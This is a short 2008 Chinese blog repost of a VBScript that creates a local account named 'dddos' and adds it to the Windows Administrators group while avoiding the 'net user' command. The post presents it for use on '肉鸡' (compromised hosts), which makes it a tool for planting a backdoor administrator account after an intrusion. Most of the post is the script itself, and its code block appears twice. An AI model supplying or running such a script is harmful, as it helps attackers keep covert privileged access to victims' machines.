不依赖于net user添加账户的命令
[ 2008/09/08 12:18 | by selboo ]
转自 http://www.dddos.com
其实很早以前这段代码就已经公布出来了,但最近有人问到,就在这里再发一下吧~
只需要将以下代码保存为vbs文件即可。(依赖于系统中的wscript.exe和cscript.exe,一般的肉鸡都满足咯)
注:用红色标注的为可自行更改的部分,其中dddos为用户名信息,password为密码信息。
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","dddos")
od.SetPassword "password"
od.SetInfo
Set of=GetObject(os&"/dddos",user)
oe.add os&"/dddos"
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","dddos")
od.SetPassword "password"
od.SetInfo
Set of=GetObject(os&"/dddos",user)
oe.add os&"/dddos"